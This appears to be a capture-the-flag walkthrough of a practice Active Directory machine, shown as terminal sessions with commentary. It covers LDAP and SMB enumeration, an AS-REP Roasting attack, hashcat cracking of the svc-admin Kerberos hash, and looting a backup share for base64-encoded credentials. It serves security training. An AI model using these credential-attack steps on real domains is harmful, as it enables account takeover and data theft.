root@ip-10-10-155-73:~# ldapsearch -H ldap://10.10.98.165 -x -b DC=spookysec,DC=local
# extended LDIF
#
# LDAPv3
# base <DC=spookysec,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
root@ip-10-10-155-73:~#
Shares enumeration
The result shows us that we're not allowed to view the shares anonymously. We'll need to get some credentials in this case.
root@ip-10-10-155-73:~# smbclient -L //10.10.98.165 -N
WARNING: The "syslog" option is deprecated
Anonymous login successful
Sharename Type Comment
--------- ---- -------
smb1cli_req_writev_submit: called for dialect[SMB3_11] server[10.10.98.165]
Error returning browse list: NT_STATUS_REVISION_MISMATCH
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.98.165 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
User enumeration
Mini wordlists are provided by author in order to save us some time.
This tool help us to gather loads of information in an automated and easier manner.
Initial Foothold
Get password hash
Now since we've got some usernames in hand, we can try to perform AS-REP Roasting attack. The tool will first send authentication requests to the user accounts and figure out the ones that doesn't require Kerberos pre-authentication.
If successful, we'll get Kerberos TGT that has the user's password hash embeded. We can then extract the hash and crack it offline.
The hint in earlier tasks told us that svc-admin might be interesting for us, let's parse that value for our tool. Just press "Enter" without inputting any values when password is asked.
Here's a useful link to search for what type of hash we obtained: hashcat wiki
The prefix told us that the mode that we need to use is 18200:
Remember the password list provided by the author earlier? We'll use that.
root@ip-10-10-155-73:~# hashcat -m 18200 svc-admin.hash passwordlist.txt
hashcat (v6.1.1-66-g6a419d06) starting...
* Device #2: Outdated POCL OpenCL driver detected!
This OpenCL driver has been marked as likely to fail kernel compilation or to produce false negatives.
You can use --force to override this, but do not report related errors.
OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]
==================================================================
* Device #1: AMD EPYC 7571, 3832/3896 MB (974 MB allocatable), 2MCU
OpenCL API (OpenCL 1.2 pocl 1.1 None+Asserts, LLVM 6.0.0, SPIR, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
===========================================================================================================================
* Device #2: pthread-AMD EPYC 7571, skipped
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 35 MB
Dictionary cache built:
* Filename..: passwordlist.txt
* Passwords.: 70188
* Bytes.....: 569236
* Keyspace..: 70188
* Runtime...: 0 secs
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:d23bacacc84229635907800006f7a958$9438e69f81aa21beae77b329a7532492e8bec1709388a8ad4d16e99f22be9d3f574756d4536d612178169ad3bee4748b8cee9b7e419b6301a8b6caa3617135c421d099440d568d8fb369701e87f88d1ac33b08eea54231dd9b62d27ad9d354e3a24ebfeb528c7b15bee5c2a1b07e7f7dd3ce710f0dde0fe1b11f3a4c45c82e262e3d285ec9f77b4734354d721fdd4643653cd228f32af335899701fb7c30097488f0f34c79ab7fa3a972f42d20b5a2b9f59425e1da9801e3b50d3ff2df90ace6269087c57d9ef821895b7be7e80d2eb67c5c9534de23a4a2be06549bbe12b7c36310d632de316ae6fd37baa0dfdf646f6563:management2005
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:d23bacacc84...6f6563
Time.Started.....: Sun Sep 22 07:32:20 2024 (0 secs)
Time.Estimated...: Sun Sep 22 07:32:20 2024 (0 secs)
Guess.Base.......: File (passwordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 578.5 kH/s (13.26ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8192/70188 (11.67%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 0/70188 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: m123456 -> whitey
Started: Sun Sep 22 07:31:59 2024
Stopped: Sun Sep 22 07:32:21 2024
root@ip-10-10-155-73:~#
Password for svc-admin is management2005.
Looking into shares
This time, we have a valid credentials to login into the share.
root@ip-10-10-155-73:~# smbclient -L //10.10.98.165 -U svc-admin%management2005
WARNING: The "syslog" option is deprecated
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.98.165 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
For easier enumeration in the share, we'll switch to smbmap.
To install: sudo pip3 install smbmap
We've obtained a username called backup earlier, so it makes sense for us to have a look at the backup share first.
root@ip-10-10-155-73:~# smbclient //10.10.98.165/backup -U svc-admin
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\svc-admin's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Apr 4 20:08:39 2020
.. D 0 Sat Apr 4 20:08:39 2020
backup_credentials.txt A 48 Sat Apr 4 20:08:53 2020
8247551 blocks of size 4096. 3664666 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (5.9 KiloBytes/sec) (average 5.9 KiloBytes/sec)
smb: \> exit
root@ip-10-10-155-73:~# cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
I wasn't quite sure what encoding is used, so I dumped it into cyberchef, and the magic wand appeared.
Upon clicking on the wand, we know that it's a base64 encoding.
Boom! It's the credential for user account backup: backup@spookysec.local:backup2517860
